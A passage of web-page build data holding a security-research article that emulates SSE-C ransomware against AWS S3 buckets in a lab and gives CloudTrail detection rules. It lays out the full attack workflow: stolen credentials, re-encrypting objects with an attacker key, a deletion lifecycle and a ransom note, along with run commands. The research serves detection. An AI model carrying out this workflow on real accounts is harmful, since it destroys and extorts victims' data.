bucket\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Understanding the infrastructure is critical for assessing how this type of attack unfolds. The Halcyon blog describes the attack methodology but provides little detail on the specific AWS configuration of the affected organizations. These details are essential for determining the feasibility of such an attack and the steps required for successful execution.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"bucket-accessibility-and-exposure\",children:\"Bucket Accessibility and Exposure\"}),`\n`,(0,t.jsx)(e.p,{children:\"For an attack of this nature to occur, an adversary must gain access to an S3 bucket through one of two primary methods:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Publicly Accessible Buckets\"}),\": If a bucket is misconfigured with a public access policy, an adversary can directly interact with it, provided the bucket\\u2019s permission policy allows actions such as \",(0,t.jsx)(e.em,{children:(0,t.jsx)(e.code,{children:\"s3:PutObject\"})}),\", \",(0,t.jsx)(e.code,{children:\"s3:DeleteObject\"}),\", or \",(0,t.jsx)(e.code,{children:\"s3:PutLifecycleConfiguration\"}),\". These permissions are often mistakenly assigned using a wildcard (*) principal, meaning anyone can execute these operations.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Compromised Credentials\"}),\": If an attacker obtains AWS credentials (via credential leaks, phishing, or malware), they can authenticate as a legitimate IAM user and interact with S3 as if they were the intended account owner.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our emulation, we assume the bucket is not public, meaning the attack relies on compromised credentials. This requires the adversary to have obtained valid AWS access keys and to have performed cloud infrastructure discovery to identify accessible S3 buckets. This is commonly done using AWS API calls, such as \",(0,t.jsx)(e.code,{children:\"s3:ListAllMyBuckets\"}),\", \",(0,t.jsx)(e.code,{children:\"s3:ListBuckets\"}),\", or \",(0,t.jsx)(e.code,{children:\"s3:ListObjects\"}),\", which reveal buckets and their contents in specific regions.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Required IAM Permissions for Attack Execution:\"}),\" To encrypt files using SSE-C and enforce a deletion policy successfully, the adversary must have appropriate IAM permissions. In our emulation, we configured explicit permissions for the compromised IAM user, but in a real-world scenario, multiple permission models could allow this attack:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Custom Overly-Permissive Policies\"}),\": Organizations may unknowingly grant broad S3 permissions without strict constraints.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"AWS-Managed Policies:\"}),\" The adversary may have obtained credentials associated with a user or role that has \",(0,t.jsx)(e.code,{children:\"AmazonS3FullAccess\"}),\" or \",(0,t.jsx)(e.code,{children:\"AdministratorAccess\"}),\".\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Partial Object-Level Permissions\"}),\": If the IAM user had \",(0,t.jsx)(e.em,{children:(0,t.jsx)(e.code,{children:\"AllObjectActions\"})}),\", this would only allow object-level actions but would not grant lifecycle policy modifications or bucket listing, which are necessary to retrieve objects and then iterate them to encrypt and overwrite.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The Halcyon blog does not specify which permissions were abused, but our whitebox emulation ensures that the minimum necessary permissions are in place for the attack to function as described.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"The Role of the Compromised IAM User\"}),(0,t.jsx)(e.br,{}),`\n`,\"Another critical factor is the type of IAM user whose credentials were compromised. In AWS, an adversary does not necessarily need credentials for a user that has an interactive login profile. Many IAM users are created exclusively for programmatic access and do not require an AWS Management Console password or Multi-Factor Authentication (MFA), both of which could serve as additional security blockers.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This means that if the stolen credentials belonging to an IAM user are used for automation or service integration, the attacker would have an easier time executing API requests without additional authentication challenges.\"}),`\n`,(0,t.jsx)(e.p,{children:\"While the Halcyon blog effectively documents the technique used in this attack, it does not include details about the victim's underlying AWS configuration. Understanding the infrastructure behind the attacks \\u2014 such as bucket access, IAM permissions, and user roles \\u2014 is essential to assessing how these ransom operations unfold in practice. Since these details are not provided, we must make informed assumptions to better understand the conditions that allowed the attack to succeed.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our emulation is designed to replicate the minimum necessary conditions for this type of attack, ensuring a realistic assessment of defensive strategies and threat detection capabilities. By exploring the technical aspects of the infrastructure, we can provide deeper insights into potential mitigations and how organizations can proactively defend against similar threats.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"setting-up-infrastructure\",children:\"Setting Up Infrastructure\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For our infrastructure deployment, we utilize Terraform as our IaC framework. To keep this publication streamlined, we have stored both the Terraform configuration and the atomic emulation script in a downloadable \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9\",rel:\"nofollow\",children:\"gist\"}),\" for easy access. Below is the expected local file structure once these files are downloaded.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image2.png\",alt:\"Necessary folder structure when downloading gist\",width:\"395\",height:\"277\"})}),`\n`,(0,t.jsx)(e.p,{children:\"After setting up the required files locally, you can create a Python virtual environment for this scenario and install the necessary dependencies. Once the environment is configured, the following command will initialize Terraform and deploy the infrastructure:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Command: \",(0,t.jsx)(e.code,{children:\"python3 s3\\\\_sse\\\\_c\\\\_ransom.py deploy\"})]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image7.png\",alt:\"Expected console output after terraform initialized and deployed\",width:\"1999\",height:\"681\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once deployment is complete, the required AWS infrastructure will be in place to proceed with the emulation and execution of the attack. It\\u2019s important to note that public access is blocked, and the IAM policy is only applied to the dynamically generated IAM user for security reasons. However, we strongly recommend tearing down the infrastructure once testing is complete or after capturing the necessary data.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you happen to log in to your AWS console or use the CLI, you can verify that the bucket in the \",(0,t.jsx)(e.code,{children:\"us-east-1\"}),\" region exists and contains \",(0,t.jsx)(e.code,{children:\"customer_data.csv,\"}),\" which, when downloaded, will be in plaintext. You will also note that no \\u201Cransom.note\\u201D exists either.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image6.png\",alt:\"Example of infrastructure deployed with unencrypted customer data in our S3 bucket\",width:\"1999\",height:\"1223\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image4.png\",alt:\"Another example of infrastructure deployed with no ransom.txt file yet\",width:\"1388\",height:\"828\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"explore-how-to-craft-s3-sse-c-requests-in-python\",children:\"Explore How to Craft S3 SSE-C Requests in Python\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before executing the atomic emulation, it is important to explore the underlying tradecraft that enables an adversary to successfully carry out this attack ItW.\"}),`\n`,(0,t.jsx)(e.p,{children:\"For those familiar with AWS, S3 operations \\u2014 such as accessing buckets, listing objects, or encrypting data \\u2014 are typically straightforward when using the AWS SDKs or AWS CLI. These tools abstract much of the complexity, allowing users to execute operations without needing a deep understanding of the underlying API mechanics. This also lowers the knowledge barrier for an adversary attempting to abuse these functionalities.\"}),`\n`,(0,t.jsx)(e.p,{children:\"However, the Halcyon blog notes a critical technical detail about the attack execution:\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"\\u201C\",(0,t.jsx)(e.em,{children:\"The attacker initiates the encryption process by calling the x-amz-server-side-encryption-customer-algorithm header, utilizing an AES-256 encryption key they generate and store locally.\"}),\"\\u201D\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The key distinction here is the use of the \",(0,t.jsx)(e.code,{children:\"x-amz-server-side-encryption-customer-algorithm\"}),\" header, which is required for encryption operations in this attack. According to AWS \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html#ssec-and-presignedurl\",rel:\"nofollow\",children:\"documentation\"}),\", this SSE-C header is typically specified when creating pre-signed URLs and leveraging SSE-C in S3. This means that the attacker not only encrypts the victim's data but does so in a way that AWS itself does not store the encryption key, rendering recovery impossible without the attacker's cooperation.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"pre-signed-urls-and-their-role-in-sse-c-abuse\",children:\"Pre-Signed URLs and Their Role in SSE-C Abuse\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"What are pre-signed URLs?\"}),(0,t.jsx)(e.br,{}),`\n`,(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/using-presigned-url.html\",rel:\"nofollow\",children:\"Pre-signed URLs\"}),\" are signed API requests that allow users to perform specific S3 operations for a limited time. These URLs are commonly used to securely share objects without exposing AWS credentials. A pre-signed URL grants temporary access to an S3 object and can be accessed through a browser or used programmatically in API requests.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In a typical AWS environment, users leverage SDKs or CLI wrappers for pre-signed URLs. However, when using SSE-C, AWS requires additional headers for encryption or decryption.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"SSE-C and Required HTTP Headers\"}),(0,t.jsx)(e.br,{}),`\n`,\"When making SSE-C requests \\u2014 either via the AWS SDK or direct S3 REST API calls \\u2014 the following headers must be included:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"x-amz-server-side\\u200B-encryption\\u200B-customer-algorithm\"}),\": Specify the encryption algorithm, but must be AES256 (Noted in Halcyon\\u2019s report)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"x-amz-server-side\\u200B-encryption\\u200B-customer-key\"}),\": Provides a 256-bit, base64-encoded encryption key for S3 to use to encrypt or decrypt your data\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"x-amz-server-side\\u200B-encryption\\u200B-customer-key-MD5\"}),\": Provides a base64-encoded 128-bit MD5 digest of the encryption key; S3 uses this header for a message integrity check to ensure that the encryption key was transmitted without error or tampering\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"When looking for detection opportunities, these details are crucial.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"AWS Signature Version 4 (SigV4) and Its Role\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Requests to S3 are either authenticated or anonymous. Since SSE-C encryption with pre-signed URLs requires \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html#signing-request-intro\",rel:\"nofollow\",children:\"authentication\"}),\", all requests must be cryptographically signed to prove their legitimacy. This is where AWS Signature Version 4 (SigV4) comes in.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"AWS SigV4 is an authentication mechanism that ensures API requests to AWS services are signed and verified. This is particularly important for SSE-C operations, as modifying objects in S3 requires authenticated API calls.\"}),`\n`,(0,t.jsx)(e.p,{children:\"For this attack, each encryption request must be signed by:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Generating a cryptographic signature using AWS SigV4\"}),`\n`,(0,t.jsx)(e.li,{children:\"Including the signature in the request headers\"}),`\n`,(0,t.jsx)(e.li,{children:\"Attaching the necessary SSE-C encryption headers\"}),`\n`,(0,t.jsx)(e.li,{children:\"Sending the request to S3 to overwrite the object with the encrypted version\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Without proper SigV4 signing, AWS would reject these requests. Attacks like the one described by Halcyon rely on compromised credentials, and we know that because the requests were not rejected in our testing. It also suggests that adversaries know they can abuse AWS S3 misconfigurations like improper signing requirements and understand the intricacies of buckets and their respect object access controls.This reinforces the assumption that the attack relied on compromised AWS credentials rather than an exposed, publicly accessible S3 bucket and that the adversaries were skilled enough to understand the nuances with not only S3 buckets and objects but also authentication and encryption in AWS.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"detonating-our-atomic-emulation\",children:\"Detonating our Atomic Emulation\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our atomic emulation will use the \\u201Ccompromised\\u201D credentials of the IAM user with no login profile who has a permission policy attached that allows several S3 actions to our target bucket. As a reminder, the infrastructure and environment we are conducting this in was deployed from the \\u201CSetting Up Infrastructure\\u201D section referencing our shared gist.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Below is a step-by-step workflow of the emulation.\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Load stolen AWS credentials (Retrieved from environment variables)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Establish S3 client with compromised credentials\"}),`\n`,(0,t.jsx)(e.li,{children:\"Generate S3 endpoint URL (Construct the bucket\\u2019s URL)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Enumerate S3 objects \\u2192 s3:ListObjectsV2 (Retrieve object list)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Generate AES-256 encryption key (Locally generated)\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Start Loop (For each object in bucket)\",`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Generate GET request \u0026 sign with AWS SigV4 (authenticate request)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Retrieve object from S3 \\u2192 s3:GetObject (fetch unencrypted data)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Generate PUT request \u0026 sign with AWS SigV4 (attach SSE-C headers)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Encrypt \u0026 overwrite object in S3 \\u2192 s3:PutObject (encrypt with SSE-C)\"}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.li,{children:\"End loop\"}),`\n`,(0,t.jsx)(e.li,{children:\"Apply 7-Day deletion policy \\u2192 s3:PutLifecycleConfiguration (time-restricted data destruction)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Upload ransom note to S3 \\u2192 s3:PutObject (Extortion message left for victim)\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Below is a visual representation of this emulation workflow:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image10.png\",alt:\"Visual representation of emulation workflow\",width:\"836\",height:\"705\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In our Python script, we have intentionally added prompts that require user interaction to confirm they agree to not abuse this script. Another prompt generated during detonation that stalls execution for the user to give time for AWS investigation if necessary before deleting the S3 objects. Since SSE-C is used, the objects are then encrypted with a key the terraform does not have acces to and thus would fail.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Command: \",(0,t.jsx)(e.code,{children:\"python s3\\\\_sse\\\\_c\\\\_ransom.py detonate\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"After detonation, the objects in our S3 bucket will be encrypted with SSE-C, a ransom note will have been uploaded, and an expiration lifecycle will have been added.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image3.png\",alt:\"Expected console output when detonating SSE-C ransom emulation\",width:\"1510\",height:\"630\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image5.png\",alt:\"Expected artifacts in S3 bucket after detonating SSE-C ransom emulation\",width:\"1702\",height:\"898\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you try to access the \",(0,t.jsx)(e.code,{children:\"customer_data.csv\"}),\" object, AWS will reject the request because it was stored using server-side encryption. To retrieve the object, a signed request that includes the correct AES-256 encryption key is required.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image1.png\",alt:\"Expected error when retrieving objects from S3 bucket after SSE-C encryption\",width:\"1999\",height:\"429\"})}),`\n`,(0,t.jsx)(e.h1,{id:\"cleanup\",children:\"Cleanup\"}),`\n`,(0,t.jsx)(e.p,{children:\"Cleanup for this emulation is relatively simple. If you choose to keep the S3 objects, start with Step 1, otherwise go straight to step 5.\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Go to \",(0,t.jsx)(e.code,{children:\"us-east-1\"}),\" region\"]}),`\n`,(0,t.jsx)(e.li,{children:\"navigate to S3\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"locate the \",(0,t.jsx)(e.code,{children:\"s3-sse-c-ransomware-payroll-XX bucket\"})]}),`\n`,(0,t.jsx)(e.li,{children:\"remove all objects\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Command: \",(0,t.jsx)(e.code,{children:\"python s3\\\\_sse\\\\_c\\\\_ransom.py cleanup\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Once completed, everything deployed initially will be removed.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"detection-and-hunting-strategies\",children:\"Detection and Hunting Strategies\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"After our atomic emulation, it\\u2019s critical to share how we can effectively detect this ransom behavior based on the API event logs provided by AWS\\u2019 CloudTrail. Note that we will be leveraging \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/elastic-stack\",rel:\"nofollow\",children:\"Elastic Stack\"}),\" for data ingestion and initial query development; however, the query logic and context should be translatable to \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security/siem\",rel:\"nofollow\",children:\"your SIEM of choice\"}),\". It is also important to note that data events for S3 in your CloudTrail configuration should be set to \\u201CLog all events.\\u201D\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"unusual-aws-s3-object-encryption-with-sse-c\",children:\"Unusual AWS S3 Object Encryption with SSE-C\"}),`\n`,(0,t.jsx)(e.p,{children:\"The goal of this detection strategy is to identify PutObject requests that leverage SSE-C, as customer-provided encryption keys can be a strong indicator of anomalous activity \\u2014 especially if an organization primarily uses AWS-managed encryption through KMS (SSE-KMS) or S3's native encryption (SSE-S3).\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our emulation, \",(0,t.jsx)(e.code,{children:\"PutObject\"}),\" requests were configured with the \",(0,t.jsx)(e.code,{children:\"x-amz-server-side-encryption-customer-algorithm\"}),\" header set to \",(0,t.jsx)(e.code,{children:\"AES256\"}),\", signaling to AWS that customer-provided keys were used for encryption (SSE-C).\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Fortunately, AWS CloudTrail logs these encryption details within request parameters, allowing security teams to detect unusual SSE-C usage. Key CloudTrail attributes to monitor include:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"SignatureVersion\"}),\": SigV4 \\u2192 Signals that this request was signed\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"SSEApplied: SSE_C\"}),\" \\u2192 Signals that server-side customer key encryption was used\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"bucketName: s3-sse-c-ransomware-payroll-96\"}),\" \\u2192 Signals which bucket this happened to\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"x-amz-server-side-encryption-customer-algorithm: AES256\"}),\" \\u2192 Signals which algorithm was used for the customer encryption key\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"key: customer_data.csv\"}),\" \\u2192 Indicates the name of the object this was applied to\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/emulating-aws-s3-sse-c/image9.png\",alt:\"Partial Elastic document from CloudTrail ingestion showing SSE-C request from emulation\",width:\"1922\",height:\"1272\"})}),`\n`,(0,t.jsx)(e.p,{children:\"With these details we can already craft a threat detection query that would match these events and ultimately the threat reported in the original Halcyon blog.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsx)(e.table,{children:(0,t.jsx)(e.thead,{children:(0,t.jsx)(e.tr,{children:(0,t.jsx)(e.th,{align:\"left\",children:'event.dataset: \"aws.cloudtrail\" and event.provider: \"s3.amazonaws.com\" and event.action: \"PutObject\" and event.outcome: \"success\" and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: \"AES256\" and aws.cloudtrail.flattened.additional_eventdata.SSEApplied: \"SSE_C\"'})})})})}),`\n`,(0,t.jsx)(e.p,{children:\"While this detection is broad, organizations should tailor it to their environment by asking:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Do we expect pre-signed URLs with SigV4 for S3 bucket or object operations?\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Do we expect SSE-C to be used for \",(0,t.jsx)(e.em,{children:\"PutObject\"}),\" operations in S3 or this specific bucket?\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Reducing False-Positives With New Term Rule Types\"}),(0,t.jsx)(e.br,{}),`\n`,\"To minimize false positives (FPs), we can leverage Elastic\\u2019s \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule\",rel:\"nofollow\",children:\"New Terms rule type\"}),\", which helps detect first-time occurrences of suspicious activity. Instead of alerting on every match, we track unique combinations of IAM users and affected S3 buckets, only generating an alert when this behavior is observed for the first time within a set period. Some of the unique combinations we watch for are:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Unique IAM users (ARNs) performing SSE-C encryption in S3.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Specific buckets where SSE-C is applied.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"These alerts only trigger if this activity has been observed for the first time in the last 14 days.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This adaptive approach ensures that legitimate use cases are learned over time, preventing repeated alerts on expected operations. At the same time, it flags anomalous first-time occurrences of SSE-C in S3, aiding in early threat detection. As needed, rule exceptions can be added for specific user identity ARNs, buckets, objects, or even source IPs to refine detection logic. By incorporating historical context and behavioral baselines, this method enhances signal fidelity, improving both the effectiveness of detections and the actionability of alerts.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Rule References\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_unusual_object_encryption_with_sse_c.toml\",rel:\"nofollow\",children:\"Unusual AWS S3 Object Encryption with SSE-C\"}),(0,t.jsx)(e.br,{}),`\n`,(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_excessive_object_encryption_with_sse_c.toml\",rel:\"nofollow\",children:\"Excessive AWS S3 Object Encryption with SSE-C\"})]}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"We sincerely appreciate you taking the time to read this publication and, if you did, for trying out the emulation yourself. Whitebox testing plays a crucial role in cloud security, enabling us to replicate real-world threats, analyze their behavioral patterns, and develop effective detection strategies. With cloud-based attacks becoming increasingly prevalent, it is essential to understand the tooling behind adversary tactics and to share research findings with the broader security community.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you're interested in exploring our AWS detection ruleset, you can find it here: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws\",rel:\"nofollow\",children:\"Elastic AWS Detection Rules\"}),\". We also welcome \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main?tab=readme-ov-file#how-to-contribute\",rel:\"nofollow\",children:\"contributions\"}),\" to enhance our ruleset\\u2014your efforts help strengthen collective defenses, and we greatly appreciate them!\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We encourage anyone with interest to review Halcyon\\u2019s publication and thank them ahead of time for sharing their research!\"}),`\n`,(0,t.jsx)(e.p,{children:\"Until next time.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"important-references\",children:\"Important References:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c\",rel:\"nofollow\",children:\"Halcyon Research Blog on SSE-C ItW\"}),(0,t.jsx)(e.br,{}),`\n`,(0,t.jsx)(e.a,{href:\"https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9\",rel:\"nofollow\",children:\"Elastic Emulation Code for SSE-C in AWS\"}),(0,t.jsx)(e.br,{}),`\n`,(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws\",rel:\"nofollow\",children:\"Elastic Pre-built AWS Threat Detection Ruleset\"}),(0,t.jsx)(e.br,{}),`\n`,(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"Elastic Pre-built Detection Rules Repository\"}),(0,t.jsx)(e.br,{}),`\n`,\"Rule: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_unusual_object_encryption_with_sse_c.toml\",rel:\"nofollow\",children:\"Unusual AWS S3 Object Encryption with SSE-C\"}),(0,t.jsx)(e.br,{}),`\n`,\"Rule: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_excessive_object_encryption_with_sse_c.toml\",rel:\"nofollow\",children:\"Excessive AWS S3 Object Encryption with SSE-C\"})]})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var k=v;return w(A);})();\n;return Component;"},"_id":"articles/emulating-aws-s3-sse-c.mdx","_raw":{"sourceFilePath":"articles/emulating-aws-s3-sse-c.mdx","sourceFileName":"emulating-aws-s3-sse-c.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/emulating-aws-s3-sse-c"},"type":"Article","imageUrl":"/assets/images/emulating-aws-s3-sse-c/Security Labs Images 11.jpg","readingTime":"21 min read","series":"","url":"/emulating-aws-s3-sse-c","headings":[{"level":2,"title":"Pre-requisites","href":"#pre-requisites"},{"level":2,"title":"Bucket Accessibility and Exposure","href":"#bucket-accessibility-and-exposure"},{"level":2,"title":"Setting Up Infrastructure","href":"#setting-up-infrastructure"},{"level":2,"title":"Explore How to Craft S3 SSE-C Requests in Python","href":"#explore-how-to-craft-s3-sse-c-requests-in-python"},{"level":3,"title":"Pre-Signed URLs and Their Role in SSE-C Abuse","href":"#pre-signed-urls-and-their-role-in-sse-c-abuse"},{"level":2,"title":"Unusual AWS S3 Object Encryption with SSE-C","href":"#unusual-aws-s3-object-encryption-with-sse-c"}],"author":[{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of 